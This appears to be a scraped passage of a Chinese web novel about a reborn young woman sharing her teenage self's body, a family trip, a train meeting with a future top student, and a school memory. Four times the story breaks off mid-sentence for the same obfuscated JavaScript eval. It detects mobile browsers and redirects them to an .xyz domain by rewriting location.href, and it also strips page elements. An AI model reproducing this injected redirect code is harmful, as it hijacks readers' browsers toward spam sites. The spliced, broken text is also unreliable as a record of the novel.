老温:“我们换种方式一决胜负。” 大温笑笑:“好啊。” “来把五子棋,谁赢了谁是哥哥!”老温从茶几底下掏出落灰了的五子棋。 “来掰个手腕,谁赢了谁是弟弟!”大温胳膊肘往茶几上一杵。 二人几乎是同一时间动作,大温一扬下巴,挑衅地看着老温,老温一拍手:“好!” 不就是掰手腕吗,简单简单。 大温虽是个练家子,一身腱子肉,但还年轻,怎么也比不过老温这个成天上山下海的成年人。 老温刚把胳膊杵在茶几上,恍然惊觉这是陷阱,方才大温说的,是赢的人是弟弟。 “……个头!”老温硬生生把话头一转,眼睛瞪得溜圆,“哇你好心机啊温流照同学!差点上当了!” “啧,老温你耍赖!明明说好的!” “没有,我说的就是‘好个头’。”仿佛是在给自己话增加可信度,老温面色严肃,仿佛讲台上授课的老教师。 秦女士在浴室就听见了父女俩的声音,出门就见客厅里俩幼稚鬼闹成一团。 秦女士一袭纯白睡衣,手里拿着条干发帽,边侧头擦拭长发上的水,边向沙发上的老温走去。 她在老温身旁站定,手里的干发帽“啪”一下抽在老温背上,在老温的衣服上留下浅浅的水渍。 秦女士:“洗澡。” 老温摸着背“嗷”了一嗓子,装作很疼的样子。他有些无辜地看着自己老婆,仿佛在用眼睛问秦女士,为什么只打他。 秦女士也不解释,抽完就走开了。大温在一旁偷笑,贱兮兮的冲老温比了个“家庭弟位”的口型。 老温看懂了,怒目圆视,食指悄悄指着大温,一副“你等着”的表情。 老温被赶去洗澡了,大温百无聊赖,举着电视遥控调了几个频道,打算再看会电视。 秦女士拿着吹风机“呼啦啦”把头发吹了个半干,她在客厅里走走停停,原地转了两圈,才终于下定决心般坐到大温身边。 大温以为秦女士要说什么,结果她坐了好几分钟也没说话,仿佛只是来陪大温看电视的。 母亲与女儿之间有条独一无二的、最深厚的联系——脐带。即便秦女士没开口,大温也能猜到她想说什么,她应该是在担心大温昨天大哭的事。 毕竟大温从小到大,从没哭成那样。 思量片刻,大温开口道:“我没事,就是考试压力太大,做了个噩梦。” 一个很长很长的噩梦。 得到回答后,秦女士的身体放松了些,好像心里压着的一块大石头稍稍落地了。 大温有些愧疚:“抱歉,让你们担心了。” 秦女士把手搭在大温大腿上,她看着大温的眼睛,摇头。 “我们是家人。” 秦女士没有接着说下去,她不太好意思用言语表达自己的爱,但是大温能读懂她未说出口的话。 爱把他们一家三口连成一个稳定的三角,他们是全世界独一无二的家人。 大温:“嗯,我们是家人。” 眼睛又有些酸了,真要命,重生后像是要把前世没哭的份全都哭回来一样。 秦女士似有所觉,双手握着大温的手,犹如一个微小的拥抱。 “我们会一直在你身边的。”秦女士说。 …… 入睡后,大温照常进入逆转空间,室内长着两棵椰子树,椰子树中间挂着一个吊床,吊床上躺着一条小温。 很长一条,像被架着咯吱窝提起来的小猫。 大温路过吊床,头顶传来一阵枪声,是小温在看谍战片。夜晚是她们的休息时间,逆转空间是最适合躺平的地方。 不管逆转空间怎么变化,大温都会留一张柔软的沙发,方便她随时躺平。 此时大温优雅地绕过地上的破烂——那些都是她在构想物品时产生的废物,走到沙发跟前坐下。 她在脑中复盘今天经历的事,有些在意花奶奶出门的时间。 下午小温帮花奶奶种花时,花奶奶说她原本打算晚饭后再来做些收尾工作,但是有了小温帮忙就不用再跑一趟了。 由此看来,花奶奶便是饭后下楼时摔倒的,前世大温上楼叫黄阿姨帮忙时,黄阿姨确实在收拾碗筷。 好像解释得通,但大温还是觉得哪里不对劲,说不上来的不对劲。 到底是哪里不对劲? 大温摩挲着沙发表面的绒布,她在思考的时候总是喜欢摸点什么。 除了这件事以外,还有一件事需要考虑,那就是重生系统。 关于系统,大温知之甚少,这个系统是凭空出现的。 一开始大温就询问过,系统是否需要收取费用,系统的回答是“您无需直接支付报酬”。 很微妙的回答,并没有否认收费。重生确实需要付出什么,但具体是付出什么、由谁支付,系统一概不答。 大温的目光投向吊床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364349|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的小温。 这是事件一结束的夜晚,她们应该好好放松一下,至少……应该让小温好好放松一下。 这些事情由大温这个成年人考虑就行了,她始终希望小温能继续做个普通的十五岁少女。 …… 距离科考队出发还有一段时间,小温的日常便是去武术馆找教练练习,偶尔会有初中玩得好的同学约她出门玩。 小温的性格和大多数人都能相处融洽,在学校里也相当受欢迎,因此约她去玩的人还挺多。 每次出去玩,小温都会特意玩到晚上。虽然她从来不说为什么,但大温能明白她在想什么。 大温希望小温能一直做个普通的十五岁少女,小温也希望大温亲身体验一下,像个十五岁少女一样玩乐的感觉。 这些天大温也没闲着,她进一步熟悉了逆转空间的使用方法,练习准确控制想象,变出自己想要的东西。 一切都在有条不紊地进行中,只有一件事大温比较在意。 那就是系统无响应的次数越来越多了。 起初是对话时杂音变多,后来是频繁掉线,再后来直接呼叫无响应。 大温眼皮抽了抽,忍不住问系统:“你怎么回事?” 【系统】:很抱歉,系统故障仍未修复。 “好吧。”大温嘟囔,反正往后应该也不是很需要呼叫系统,就等它修好吧。 每天下午六点“交班”后,小温会准时出现在逆转空间门外。作为访客,她需要拉开那扇黑色的小门,才能进入逆转空间。 这些天里,小温拉开门总能看见些新奇玩意,游在空中的鱼、上下颠倒的房间、会结土豆的树……大温似乎玩得很开心,每天都要给小温留点不知道是惊喜还是惊吓的东西。 科考队出发的前天傍晚,小温站在门前,猜测着今天会看到什么奇怪的东西。她怀着些许期待,照常拉开门。 黑色的小门缓缓开启,露出淡蓝色的海水。门框处似乎有无形的屏障,把海水拦住,原本该是屋顶的地方变成了海面,风吹过时能看到海面上散落的阳光被风吹碎。 小温被这样的景象震惊到了,鱼群在小温眼前游弋,五颜六色各种各样,一只白得透明的水母一收一缩游到了小温面前,好奇地打量着来人。 虽然水母应该看不见她。 小温伸手戳了戳,淡蓝色的海水犹如果冻,她试探着,把手伸进果冻一样的海水里,随后步入其中。 就像是沉入深海,在走入海水的那一刻,小温好像能够听见海洋的呼吸声,潮起潮落,循环往复。这片奇妙的海洋接纳了她,她能在其间自由呼吸与行走。 小温在水母的指引下前进,找到了一个巨型河蚌做的屋子,小温径直走入,无形的屏障隔绝了海水,门口放了一张板凳,她独自坐在门前看海。 真美啊。 贝壳屋靠墙处有一张电脑桌,电脑屏幕亮着,屏幕上适时弹出大温发来的新消息。 【大温】:这是回礼。 【大温】:玩得开心。 过了很久,小温回复道。 【小温】:玩得开心。 5. 观鸟少年 小温在海底世界玩了一整夜,大温也陪了她一整夜。在小温的强烈要求下,她如愿以偿躺在鲸鱼脊背上,任由鲸鱼带着她到处游。 大温笑着摇头,也罢,就让她好好玩玩吧。 这是只属于她们二人的童话世界。 美好的时光终有尽头,翌日清晨,小温不情不愿地从床上爬起来,睡眼惺忪地在日历上划去今天的日期。 今天就是科考队出发的日子了,老温征求了秦女士、科考队领队以及成员的意见,费了一番周折,终于得到了所有人的同意。 对于小温随行这件事,老温的同事们想法不一,有些觉得无所谓,有些担心安全问题,还有一些在期待见到小温。 他们共事多年,不止一次听老温提起自己女儿。 小温幼儿园时,老师经常带他们做手工,小温做了什么都会分成两份,送给老温和秦女士。老温每次得了点什么东西都要跟同事炫耀,一小罐纸折的星星、一捧绒布做的玫瑰花、一个纸折的菠萝笔筒…… 各种各样的手工品,炫耀得同事们都麻了,这家伙真是生怕别人不知道他有女儿。 同事们都知道老温有个女儿,但是一直没见过面,连照片都没见过。老温从来不发女儿的正脸照片,最多发个背影。 有人好奇问老温:“你女儿到底长啥样?” 老温笑着答:“天仙一样。” 现在,“天仙一样”的小温背着她的小背包,和老温一起站在家门口和秦女士道别。 秦女士今天休息,身上的睡衣还没有换,她平静地站在门口,目送一大一小两个人出门。 “我走啦,拜拜,秦女士!”小温兴高采烈地挥挥手,老温也跟着挥挥手。 …… 沛霖市在离丰林市很远的外省,老温订了D、F两张动车票,小温一上车就扒着车窗往外看。 她不是第一次坐动车,但还是像个孩子一样兴奋,盯着车窗外的行人。 大部分旅客都提前找好车厢了,路过车窗前的人很少。小温正觉得无聊,视野里忽然闯进一个白衬衫的男生。 男生相貌出众,脖子上挂着黑色的相机,手里拖着行李箱,跟在一个四十多岁的中年男人身后。男人带着银边眼睛,气质儒雅,二人长相相似,大概是父子。 小温与男生年纪相仿,她便多留意了几分,直到那对父子走出她的视野范围,她才收回目光。 小温闲得无聊,抬手在老温的大腿上捶了一下。 老温在看手机,目光没有偏移,只是伸手对小温做出了个讨钱的手势:“一百。” 小温又捶了一下。 “两次了,两百。” “我没钱,你找我爸要。” “没钱?那就负责家里一个月的卫生。” “诶——” 发车广播响了,列车缓缓启动,小温余光瞥见一个白色的身影,啊,是刚才的那对父子。 父子俩的座位与小温相隔一个过道,男生脖子上依然挂着相机,他父亲从他手中接过行李箱,放到头顶的行李架上,随后往车厢末尾去了。 男生坐在B座,C座暂时空着,小温可以很好地看见他。他坐下后便端起脖子上的相机,似乎打算看看里边的照片。大约一两秒的时间,他察觉到了小温的目光,一转头,正巧和小温四目相对。 “啊。”小温像是干坏事被抓到一样,尴尬地挠挠头,冲男生微微一笑。 男生愣住了,似是惊喜,又似是茫然。但他很快便收拾好自己的情绪,同样冲小温友好微笑。 乘务员小姐背着手巡逻,时不时提醒乘客安全摆放行李架上的行李,有乘客在小声交谈,也有乘客在外放肥皂剧,车厢里尽是窸窸窣窣的声音。 “看啥呢?”老温也顺着小温的目光看去,看见了那对父子,“哟,小帅哥呀~” 老温语带调侃,话一出口就引来了周围人的注目,不少人都看向男生。男生的微笑有些僵硬,也不知道该不该谢谢老温。 小温凑到老温耳边悄悄说:“你别把人家说脸红了。” “也是,不是什么人都和你一样脸皮厚。” “你什么意思。”小温怒道。 “夸你貌若天仙的意思。” “我本来就貌若天仙,所以你什么意思。” 老温认真地盯着小温的脸,几秒钟后,他转头对过道另一侧的男生说:“你看,她都不害羞你害羞什么。” 男生嘴角上扬,发自内心地笑了:“嗯,我知道了。” 正巧男生的父亲回来了,他看到自己儿子在和陌生人交谈,顿感意外。 老温瞅了眼便猜到他们是父子,很自来熟地冲男人打招呼:“嗨,兄弟,到哪下啊?” 男人坐到C座,礼貌答道:“沛霖市。” 老温讶然:“哎,居然是同一站。” “你……”男人一顿,看到了旁边的小温,改口道,“你们也是去沛霖市?” 小温指指老温,抢答道:“他去沛霖市科考,我是监护人。” “温流照同学你不要给自己加戏。”老温拿食指戳小温的手,把她手给戳走。 男人脸上挂着淡淡的微笑,似乎被小温和老温的行为逗笑了,他忍不住说道:“你女儿很活泼啊,多大了啊?看起来和我儿子差不多大。” 小温举手抢答:“十六!” “说什么呢。”老温伸手按在小温脑袋上,五指山一样,压得小温脑袋沉了沉,“十五,开学高一了。” “是十五岁半!四舍五入就十六了!”小温据理力争,十五岁到十六和十七岁到十八岁一样,中间有条鸿沟,越过了就会显得人更成熟,她要当个成熟的人。 “那还挺有缘的,我儿子开学也是高一。”男人伸出手,“何祎庵,这是我儿子何景澄。” 隔着一条过道,老温和何祎庵握了握手:“温君,这泼猴是我家姑娘温流照。” “你说谁是泼猴?”小温瞪他,单手掐他脖子。小温手劲很大,掐得老温连忙举手投降。 “饶命,饶命。” 鬼使神差般,何景澄端起相机,似是想要拍下了这一幕。老温眼睛尖,率先发现了,他对着镜头比了个耶。 何景澄一愣,一时间也不知道这快门到底该不该按了。 小温也发现了,她咧嘴一笑,也比了个耶。 何祎庵往椅背上靠了靠,很自觉地避开镜头。 “咔嚓——”何景澄按下快门。 一张照片就这样莫名其妙拍成了,何景澄把相机递给何祎庵,何祎庵转递给老温,老温稳稳接过相机。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364350|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小温好奇地伸个头凑过去看,照片里小温还掐着老温的脖子,空出来的手比了个耶,而老温也在比耶,两人齐齐看向镜头。 何景澄有些忧心,说:“你们若是介意的话,我可以删掉。” “噗……哈哈哈哈!”小温看着照片,笑得开怀,“不用删了,照片可以发我一份吗?” “可以的。”何景澄稍稍松了口气,他原本还担心这样的冒昧的举动会给小温留下不好的印象,“照片要等下车才能导出,加个联系方式,晚点再发给你吧。” 二人很自然地交换了联系方式,小温的头像是只灰蓝色的缅因猫,何景澄的头像是只呆头呆脑的简笔画夜鹭,看起来像个孩子画的,和他本人的气质截然相反。 “照片也发我一份。” “你要来做什么?” “拿去问你妈妈,我们家孩子能不能当童模。”老温一本正经地回答。 “不发不发!”小温一把把老温推开,恰好此时大温发来了新消息,小温点开聊天框。 【大温】:戳一戳.JPG 应该是在问小温进展如何。 【小温】:一切顺利。 【大温】;开心.JPG 小温关掉手机,默了一会又打开手机。 【小温】:车上遇到了一对父子,儿子叫何景澄,都是一个城市的,你认识吗? 小温原本不想问的,实在有点好奇,还是问了。 大温那头陷入了长久的沉默,小温盯着聊天框等了一会,没等到大温的回复,她没太在意,随手关了手机。 今天的逆转空间是零食屋,棉花糖做的墙壁,黑白巧克力做的桌椅,还有蜂窝蛋糕做的沙发,这是大温想象中用来放松的地方。 冰箱里放在各种各样的雪糕冰淇淋还有小蛋糕,灵魂体没有饱腹感,更不会长胖,在这里大温可以尽情享受甜品。 但是大温现在没有在享用那些美味的甜品,她坐在电脑前,盯着屏幕上的聊天框,手上用来叉蛋糕的叉子掉在桌面上。 谁?小温说她遇到了谁? 大温不可置信地看着那个名字。 何景澄。 大温高一时的同班同学,后来保送国内一流名校的学神。 大温起身在零食屋里转悠了几圈,一会望天,一会看地,大约转了一分钟,她又回到了电脑前。 大温打了一行字,然后又删掉,重复几遍后,才终于按下发送键。 【大温】:你确定他的名字是何景澄这三个字吗? 小温没回话,发了一张聊天截图。 【何景澄】:你好,我是何景澄。 【小温】:你好,我是温流照。 大温放大截图,何景澄的头像是一只蓝背黄爪,头顶两根白色长羽的滑稽鸟类,大温对这个头像印象很深,高中三年何景澄一直顶着这个头像。 这个头像和他本人温和有礼的气质截然相反,被包括大温在内的不少同学吐槽过。 还真是他。 大温没想到这次去沛霖市居然刚好碰上何景澄,命运还真是神奇。沉默许久,大温回答了小温的问题。 【大温】:他是未来保送名校的学神,是我高一的同班同学。 【大温】:详情今晚再说,总之他是个好人。 6. 学神 学神?同班同学? 小温悄悄偏头看过道另一侧的何景澄,他正手捧相机,翻看里边的照片。 小温的学习成绩不错,但不算顶尖,尖子班中游水平。 初中时,有个同校女生很厉害,回回都拿全校第一。女生和小温不是一个班,但住在一个小区,偶尔会打照面。每次见到女生,她总是脚步匆匆,步履坚定。 小温欣赏她,也佩服她。小温对成绩优异的人满怀敬畏,因为她总是做不到。 小温看着何景澄,很难把眼前这个安静的男生和“学神”这样张扬的称号联系起来。 一个鼻子两个眼,除了长得好看之外和普通人没啥区别,为何被称为“神”? 旁边的老温在和何祎庵聊天,老温这个社牛和谁都能聊点,小温见怪不怪了。 小温收回目光,百无聊赖地刷着手机。 何景澄没动,眼珠一转,用余光瞥小温。先前他早就发现了小温的目光,只是没有动作。 直到现在,何景澄都还有些惊讶,虽然期待过偶遇,但他没想到真的会遇到。 今天或许是他的幸运日呢。 几个小时的车程在闲聊和打闹中度过,老温和何祎庵意外地聊得来,甚至还约好了下车去饭馆搓一顿。 老温举着手机:“这家这家,我问了朋友,他说好吃。” 何祎庵点点头:“问问孩子们的意见?” 何景澄微笑:“我觉得不错。” 小温没看,她知道老温会选她喜欢的,她只是躺在椅背上说道:“我饿了,待会我要吃超级多!” 动车靠站,车门打开,人群像水龙头里的水一样涌出,小温四人也随着人流走动。 老温拖着行李箱和何祎庵走在前头,两位父亲边走边聊,何景澄放慢脚步和小温同行。 小温转动眼珠子,用余光打量何景澄。得知何景澄是未来学神后,她总是忍不住多多打量他。 小温长得高,十五岁已有一米七,何景澄比她还要高一些,约莫高出三四厘米。 可能是因为正在抽条,少年的有些清瘦,像电线杆子上挂了件白衬衫。 二人沉默地并肩而行,在人声和行李箱滚轮滚地声中,小温侧头问道:“你的头像好像是夜鹭吧?是自己画的吗?” “是我弟弟画的。”何景澄嘴角勾起一个小幅度的笑,似乎很高兴小温能主动搭话,“他很喜欢鸟,经常让我拍各种鸟类的照片和视频。” “他为什么不自己去啊?”小温心直口快,甫一说出口就感觉说错话了。 何景澄的头微微低垂,神情有一瞬间的忧伤。 “我弟弟暂时没有机会出门观鸟了,他在住院,骨肉瘤。” 小温的嘴张了又关,关了又张,安慰的话在唇边转了一圈,最后也只能说了句:“抱歉……” 癌症离小温的生活有些遥远,她想不出什么合适的安慰话。 何景澄摇摇头,意思是她不用道歉:“其实还好啦,发现得早,还有治愈的可能。” 行李箱的滚轮滚过水泥地,发出“咕咚咕咚”的声响,两人沉默了十几秒钟的时间。 “医生说要让我弟弟开心一点,保持愉悦的心情更有利于治疗,所以我经常往外跑,充当他的眼睛,去寻找各种鸟类的踪迹。” “一开始,我也分不清那是什么鸟,于是什么都拍。拍了很多自认为不同的鸟类照片带回去,被我弟弟告知那其中有一半是夜鹭,他笑话了我好几天。” 何景澄说到这笑了,好像想起了当时的场景。小温也跟着笑,她没见过何景澄的弟弟,但也可以想象那个画面。 “后来有段时间他精神好点了,说我和夜鹭有缘,给我画了一张夜鹭的简笔画。我很喜欢,就拿来当头像了。” “原来如此……”小温没想到这个头像背后还有这样沉重的故事,一时无言。 虽然何景澄说得很乐观,但小温知道,骨肉瘤的致死率很高,就算治好了也可能终身残疾,何景澄的弟弟可能再也没机会亲自出门观鸟了。 “你们两个,怎么走这么慢——” 老温拉长调子的声音传来,小温抬头,老温他们不知何时已经走到了路边。 老温站在几十米外,两手做喇叭状,对小温和何景澄喊道:“车都到了——” 一辆白色的出租车停在前方的道路上,何祎庵率先打开车门,老温冲他们招招手,二人快步跟了上去。 作为四人里唯一的女性,小温坐到了副驾驶座上,三位男性挤在后排。 小温一坐下来就给秦女士发了消息报平安,秦女士回了个很可爱的猫猫点头的表情包,表示她知道了。 到达预定好的饭店时,时间已是下午六点,大温时间到了。 大温已经习惯了换人时的头疼,她夹菜的动作只是稍稍一顿,随后若无其事地端起碗扒拉两口饭。 大温夹了条油菜花,一口咬住下边的杆,叼着油菜花一点点顺着杆嚼,她边嚼边悄悄看对面的何景澄。 何景澄和她记忆中的样子差不多,白衬衫黑裤子,白净的少年形象。 大温从小温的记忆里得知了何景澄弟弟的事,有些意外,她以为学神这样的人,人生应该是一帆风顺、没什么烦恼的。 人们常常把某方面很厉害的人奉为神,神应该是没有烦恼的,至少人们想象不出神苦恼的样子。 没想到他也有烦恼,还是重生也无法改变的烦恼。 得知这件事后,大温莫名感觉何景澄离她没有那么遥远了。 何景澄现在就坐在大温对面,除去“学神”的外壳,他也只是一个普通的小男生,甚至还可能是个比大温幼稚的小男生,毕竟他才十六岁。 回过神时,老温和何祎庵已经聊到工作了。 何祎庵面露苦色:“这次本来是想休假的,结果沛霖市那边刚好有些工作要做,休假硬是变成上班了。” 老温了然,举着啤酒瓶和何祎庵碰杯:“唉,都不容易。” 大温听着两位父亲的吐槽,险些忍不住加入这个话题。 她也是出过社会上过班的,此时感同身受,也想开一瓶啤酒吐槽一下。 这念头刚起就被生生掐断,她现在的身体可是小温的,保护未成年小温,大温有责。 相较两位父亲,两位孩子就生分许多。一方面是大温一直把何景澄当校园明星,和他聊天有些拘谨。 另一方面则是……大温一个(前)社畜,和年轻人有代沟,实在有些不知道怎么和十六岁的小男生聊天。 唉,这天还是小温来聊更好,大温端起装着橙汁的玻璃杯喝了一口。 晚餐过后,老温和何祎庵照常进行中国人的固定节目——抢买单。 老温:“说好了这餐我请客。” 何祎庵:“不行,那怎么行。” 收银小姐笑呵呵地看着二人,已经见怪不怪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364351|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。大温挠挠头,趁着二人争执,悄悄跑到收银小姐的面前,掏出手机二维码。 伴随着“嘀”的一声脆响,柜台上的打印机打出小票,老温和何祎庵齐刷刷看过来。 “犹豫就会败北。”大温面无表情比了个耶。 何祎庵叹气,老温乐了,转身跟大温击掌,“啪”地一声响,老温冲大温比了个大拇指:“干得漂亮,温流照同学。” 收银小姐把小票撕下来递给大温,她脸上挂着招牌的职业微笑,声音很好听:“一共683,请拿好您的小票,慢走,四位,欢迎下次光临。” 何祎庵还有点过意不去:“下次有机会再一次吃一顿,我请客。” 老温随口应道:“行啊。” 四人走出饭店,何景澄和何祎庵并肩而行,少年比父亲矮了半个头,走出几步远后,何景澄回头,他看到大温在原地注视着他,浅浅笑了。 “再见,温同学。” “回头见,何景澄!” 大温挥挥手,她知道这个“回头见”是真的“回头见”,一个多月后他们就会在学校里见面。 何景澄也挥挥手,今天是很开心的一天,至少他很开心。 科考队成员们各自出发,先在县城里的酒店住一晚,第二天汇合后再一同下乡。 从市区到科考所在的县城还有一个多小时的车程,到预定好的酒店时已经将近晚上八点。 老温拿了两张房卡,“嘀”一下打开大温的房门,举着手机仔仔细细检查过每一个角落,确认没有偷拍的摄像头后,这才放心回自己屋。 舟车劳顿,小温的身体确实累了。第二日还要赶早,简单洗漱后,大温早早睡了。 …… 逆转空间里,小温正在啃黑巧克力椅子的椅背。 小温已经好奇很久了,零食屋里所有东西都是食物做成的,这些食物做成的家具到底能不能吃?是什么口感的? 小温犹豫许久,看了眼时间,才九点多,还早着呢,没到大温睡觉的时间。 小温张大嘴,一口咬在巧克力椅背上。有点硬,一下没咬动,她正准备用点力,大温就出现了。 作为逆转空间的主人,大温每晚睡下后,都会被系统直接传送到逆转空间内部,只是每天的位置都不固定,毕竟逆转空间的形态也不固定。 好巧不巧,大温今天刚好传送到小温面前。 小温反坐在椅子上,缩着脖子,两手抓着椅背,保持着啃椅背的姿势没动,她现在尴尬得不敢抬眼看大温。 大温就站在小温面前,她摸着下巴,有些不理解。 “小温同学,我留了这么多零食你不吃,你要啃我椅子?”大温不可置信。 “才不是!我只是有点好奇椅子能不能吃……”小温越说越小声,她自己也感觉怪荒谬的。 “椅子就是椅子,当然不能吃啊。”大温的回答斩钉截铁。 零食屋的家具虽然是食物做的,但本质上并不是食物。就像公园里带着年轮的长椅不一定是木头做的一样,这些家具也是同理,只是看起来像食物。 “咳咳,不说这个了,讲讲何景澄的事吧。”小温不想和大温讨论她啃椅子的事了,有些生硬地转移话题。 大温也不计较,她拍拍手,身后出现一个果冻做的躺椅,大温一屁股坐下去时,绿色的果冻还弹了弹,很好玩的样子,小温又被吸引了。 “这次的故事很短,也很简单。” 7. 校园回忆 大温世界里,大温是在十一月才正式入学的。天气冷下来了,寒风吹过,她默默用围巾一圈一圈把下半张脸和脖子围起来。 “温流照同学因为特殊原因晚入学了,希望大家能和她好好相处,多帮帮她。”班主任的声音温和,许多目光落在大温身上。 大温不想和人说话,其他同学看她阴沉沉的也不想和她搭话。 班主任知道大温家的情况,很关心她,特意安排她和当时的生活委员徐幼盈同桌,拜托徐幼盈多多关照大温。 下午最后一节课结束时,大温坐在座位上发呆,她几乎发呆了一整天,同桌的徐幼盈好几次想和她搭话,她的回答都很冷漠。 “嗯”“好”“无所谓”“随便你”,大温一直用这样简单的字词回复徐幼盈。 大温听着女孩的声音越来越小,最后,女孩邀请大温一起去食堂,大温拒绝了。 窗外的天空很红,大温撑着下巴侧头看,她什么也没想,就那样静静看着,好像灵魂已然飘向远方。 “咚咚——” 一双骨节分明的手在大温的桌子上敲了两下,敲门一样。 大温的思维短暂地回到现实的世界中,她回头,看到眼前站着一个穿着蓝白色校服的男生。 男生怀里抱着一本很厚的笔记本,看到大温抬头后,他把笔记递向大温。 “温同学,你需要笔记吗?” 男生的声音很好听,教室里不知何时只剩下他们两个,大温微微抬头看着何景澄的眼睛。 “你在和我搭话?为什么?” 何景澄显然没料到大温会这样问,他有一瞬间的怔愣,而后温声答道:“我只是在帮助一位同学。” 如果何景澄说他怜悯大温之类的话,大温会明确拒绝和他沟通。 老温离世后,她听到太多安慰的话了,听得整个人都麻木了。 那些安慰轻飘飘的,像用茅草做成的扫帚扫过嵌在泥里的石块,没什么作用,石块岿然不动。 好在何景澄没说,他只是把大温当成一位可能需要帮助的同学,而不是死了亲人的可怜人。 “谢谢。”大温接过笔记本,她又把半张脸藏进围巾里了,说话声音有些闷。 何景澄把笔记本交给大温便离开了,大温一个人坐在教室里,她翻开笔记本,扉页写着何景澄的名字。 高一(1)班何景澄。 这时大温才知道他的名字,何景澄,她又在心里默念了一遍。 晚自习前,徐幼盈回到教室,从手中的纸袋里掏出一根金黄色的玉米。 徐幼盈斟酌着用词:“我看你好像没有吃晚餐,我给你带了根玉米。不吃东西不行的,要不……你吃完再发呆?” 大温没忍住重复她的话:“吃完再发呆?” 徐幼盈脸有点红,有些不好意思,低头小小声说道:“饿肚子……不好……” 大温看得出来,徐幼盈每次和她搭话都是鼓起勇气开口的,她真的不擅长和人交流,比大温差多了。 可就是这样不擅长社交的女孩,一次又一次主动关心大温。 大温是心情不怎么好,但也不是没了心,她最终接过了那根玉米,还有些温热,打开包装袋啃了一口,甜滋滋的。 在徐幼盈的努力下,大温终于对徐幼盈敞开心扉,她们在教室里,在操场上,在校园里的各个角落互相倾吐心声。 大温是把玻璃剑,外刚内柔,而徐幼盈是根海草,外柔内刚。 人际关系很神奇,两个性格恰好相反的人偏偏成了最最要好朋友。 与此同时,借助何景澄的笔记,大温顺利追平各科老师上课的进度,和何景澄建立了友好关系。 每次,大温有哪里看不懂的都可以去找何景澄,他总会耐心和她解释。 经过几轮考试,何景澄的突出表现让各科老师大加赞赏,他像一颗冉冉升起的新星,那么耀眼,也那么遥远。 高二分班后,大温和徐幼盈还是一个班,何景澄毫不意外分到了精英班。 那是学校重点培养的班级,不仅不用交学费,每年都有高额奖学金。 大温依然能从其他同学的口中听到何景澄的消息,听说他去了精英班也是全班第一,他对待同班同学依旧友善礼貌,他参加的比赛地点也是越来越远,校级、市级、区级、国家级…… 和何景澄见十次面,有半数是在领奖台上。 每次大温都会看着台上的少年,和台下的同学们一起鼓掌,她衷心祝福他越飞越远。 何景澄越来越耀眼了,如果同班的时候他只是一颗星星,那么现在已经变成满月了。 星星可能会被城市的霓虹灯光所掩盖,月亮不会,他始终耀眼。 若是在遭遇亲人离世之苦前遇到何景澄,或许大温还会尝试着追赶。她脑子不笨,诚心想好好学习也是能学好的。 可惜那时的大温接连遭遇灾祸,已经失去追逐他人的勇气,所以她主动疏远了何景澄。 她主动选择了观众席,而非那个盛大的舞台。 …… “大概就是这样,何景澄是那时候班里唯二对我表现出恰到好处的关心的同学。”大温结束了讲述,她静静看着小温。 没有什么旖旎的浪漫故事,只是一段短且平凡的友谊。 “意料之内的故事。”小温评价道。 “是啊,很平淡的故事。” 大温直起身,小温还是先前反坐椅子的姿势,双臂交叠搭在椅背上。 大温的目光轻柔地抚摸过小温的脸颊,她的眼中藏着期待,她在看另一个年幼的自己。 “小温同学,你的人生会是个精彩的故事吗?” “你这话说得,好像你是一个看客。” 小温指了指墙上的挂钟,示意她们现在是一体二魂轮流生活的状态。 “我们现在可是命运共同体,一荣俱荣一损俱损。” 大温微笑着,没回话。 …… 翌日清晨,小温按时醒来,吃过早饭,老温带小温去了约定好的集合地点。他们差不多是踩点来的,人差不多齐了。 小温能感觉到老温的同事们对她投来好奇的目光,她估摸着是老温经常跟他们提起自己。 小温早就发现了,老温真的很喜欢和人炫耀他有老婆孩子。 小温刚刚站定,一个头发花白的老教授姗姗来迟。 那是个五十多岁男人,很典型的老学术分子,严肃正经、不苟言笑,满脸写着“权威”二字,让人面对他的时候不由自主挺直腰板。 大厅里的科考队成员原本歪七扭八站着,有些人还三三两两聚在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364352|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 